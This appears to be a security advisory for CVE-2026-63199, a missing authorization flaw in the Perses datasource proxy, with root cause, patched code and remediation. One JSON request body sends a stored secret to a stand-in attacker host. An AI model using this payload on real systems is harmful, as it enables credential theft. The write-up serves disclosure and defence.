CVE-2026-63199: Cross-Scope Secret Disclosure via Missing Authorization in Perses Datasource Proxy

Perses is an open-source observability dashboard and visualization engine that enables teams to monitor infrastructure, database metrics, and application performance. To retrieve these metrics, Perses relies on configured 'Datasources'—connection definitions that bridge the dashboard panels with query backends such as Prometheus, SQL, or custom HTTP endpoints. Because these connections often require sensitive credentials, Perses implements a decoupled authorization model separating datasource usage permissions from secret reading permissions.

This decoupled architecture contains a critical missing authorization check (CWE-862) tracked as CVE-2026-63199. When executing ad-hoc connection tests or proxy queries with unsaved datasource configurations, the backend processes incoming connection definitions without verifying if the user is authorized to read the associated secrets. Consequently, an attacker possessing only datasource creation or configuration privileges can force the backend to resolve, decrypt, and forward arbitrary credentials to an external host.

The attack surface is exposed via the API gateway endpoints responsible for testing unsaved datasource configurations and executing proxy queries. Because these endpoints accept arbitrary plugin specifications in the HTTP request body, they serve as an oracle for credential resolution. An authenticated attacker with low privileges can exploit this behavior to compromise the confidentiality of credentials stored within any project or global scope, extending the impact beyond the boundaries of the Perses platform itself.

The root cause of this vulnerability lies in the lack of privilege isolation between the 'Datasource' operational scope and the 'Secret' storage scope during proxy resolution. In Perses, users may have permissions to define and execute query proxies using a datasource (DatasourceScope). However, they should not automatically have access to view or extract the underlying credentials (SecretScope or GlobalSecretScope) stored securely within the backend database or external vault.

When a user initiates an unsaved proxy request, the backend dynamically constructs a proxy client using the provided specification. This specification can include configuration blocks referencing encrypted secrets. Prior to the fix, the resolution handler resolved these secrets using simple getter closures that fetched the secret from storage and decrypted it on the fly. Crucially, this closure executed with system-level privileges or under the context of the datasource owner's permissions, completely bypassing the calling user's individual secret-read authorization checks.

This lack of contextual validation creates a classic cross-scope security boundary violation. The application relies on the implicit assumption that because a user has authorization to initiate a proxy connection, they also have authorization to utilize any secret specified within the proxy configuration. Because the backend does not validate whether the caller's session has permission to read the requested secret, the validation logic fails to prevent low-privileged users from targeting high-privileged secrets.

To understand the exact breakdown, we must analyze the dynamic proxy initialization logic within internal/api/impl/proxy/globaldatasource.go. Prior to the patch, the newProxy constructor accepted a secret-getter callback that resolved the secret without inspecting the user's current execution context. The vulnerable handler bypassed security boundaries by directly executing the database query wrapper without verifying caller capabilities.

// Vulnerable execution context
pr, err := newProxy(datasourceName, "", spec, path, e.crypto, func(name string) (*v1.SecretSpec, error) {
    // VULNERABLE: Direct database fetch without checking calling user's permissions
    return e.getGlobalSecret(datasourceName, name)
})

The fixing commit (2368c9ef4eb0a70fbca5df69aa20e595821ab625) corrects this flow by passing the HTTP request context (ctx) into the resolution pipeline. The resolver now executes an explicit permission check inside the retrieval closure, verifying that the user context possesses the ReadAction permission on the GlobalSecretScope or SecretScope before returning the decrypted secret.

// Patched execution context with explicit scope validation
return e.proxyGlobalDatasource(ctx, dtsName, body.Spec, func(name string) (*v1.SecretSpec, error) {
    // PATCHED: Enforce that the current user context has ReadAction on GlobalSecret
    if err := e.checkPermission(ctx, v1.WildcardProject, role.GlobalSecretScope, role.ReadAction); err != nil {
        return nil, err
    }
    return e.getGlobalSecret(dtsName, name)
})

Additionally, to prevent attackers from bypassing this check by saving a malicious datasource spec and querying it later, the service-layer validation function checkSecretPermission was introduced. This method inspects incoming datasource specifications for both HTTP and SQL plugins during creation and update cycles. If a secret configuration is present, it explicitly validates permissions, rejecting unauthorized configurations before they are persisted.

// Enforcing permissions during datasource persistence
if ok := s.authz.HasPermission(ctx, role.ReadAction, datasource.Metadata.Project, role.SecretScope); !ok {
    return apiInterface.HandleForbiddenError(fmt.Sprintf("missing '%s' permission in '%s' project for '%s' kind", role.ReadAction, datasource.Metadata.Project, role.SecretScope))
}

Exploitation of CVE-2026-63199 requires low-privileged authentication to the target Perses instance and network reachability of an attacker-controlled endpoint. The attacker does not need high-level administrative rights; they only need the ability to define a datasource within a project or trigger connection tests. The objective of the attack is to force the Perses server to decrypt a targeted secret and transmit it in plaintext to an external server.

The attack begins with the preparation of an external HTTP listener (e.g., using a public server or listener service). Next, the attacker constructs an HTTP POST request to the Perses unsaved proxy endpoint. In the request body, the attacker defines a datasource plugin specification (e.g., an HTTP proxy) pointing directly to their external listener URL, while referencing the target sensitive credential (such as administrative database credentials) within the secret field.

{
  "spec": {
    "plugin": {
      "kind": "PrometheusDatasource",
      "spec": {
        "directUrl": "http://attacker-controlled-server.com/log",
        "secret": {
          "name": "admin-database-creds"
        }
      }
    }
  }
}

Upon receiving this payload, the Perses server initiates the proxy workflow. It locates the secret named admin-database-creds from its database, decrypts the plaintext value, and injects it into the HTTP header (e.g., as a Bearer token or Basic Auth header) of the outgoing proxy request. The server then transmits the request to the attacker's server. The attacker's listener receives the incoming connection, complete with the decrypted credential in the authorization header, resulting in full credential disclosure.

The security impact of this vulnerability is classified as High, with a CVSS v4.0 base score of 8.3. The vulnerability represents a complete compromise of confidentiality for credentials managed by the Perses platform. Because Perses often integrates with core enterprise monitoring systems, database instances, and cloud APIs, the disclosed secrets could grant attackers unrestricted administrative access to critical downstream systems.

While the attack requires initial authenticated access, the privilege requirements are minimal. In larger environments with self-service dashboard creation, many users may possess the rights to create or test datasources. Furthermore, because the vulnerability allows exfiltration of credentials to external networks, it can easily lead to lateral movement and privilege escalation across the organization's broader infrastructure.

Importantly, the impact extends beyond the boundaries of the Perses system itself, resulting in subsequent system confidentiality compromise. An attacker who extracts a database credential or AWS API key from the secret store can pivot to those external environments directly, bypassing any firewalls or monitoring controls wrapped around the Perses UI. This makes the vulnerability highly attractive to sophisticated actors seeking access to internal storage backends.

The primary remediation for CVE-2026-63199 is upgrading to Perses version 0.54.0-rc.0 or later. This version introduces robust, contextual authorization checks during both dynamic proxy resolution and datasource configuration persistence, effectively closing the credential oracle.

Security administrators must also be aware of a critical temporal risk. The validator checkSecretPermission evaluates authorizations strictly at the time of datasource creation or update. It does not perform runtime permission checks when retrieving saved datasources. If a malicious datasource referencing an unauthorized secret was successfully created prior to the upgrade, the saved configuration can still be queried by unauthorized users, allowing credential extraction to continue post-upgrade.

To counter this residual risk, organizations must perform a thorough manual audit of existing datasources and credentials. Database administrators should rotate all secrets, API tokens, and passwords currently configured within Perses. Additionally, security teams should implement strict network-level egress filtering on Perses servers, preventing the application from initiating connections to unapproved external endpoints, which mitigates the exfiltration vector.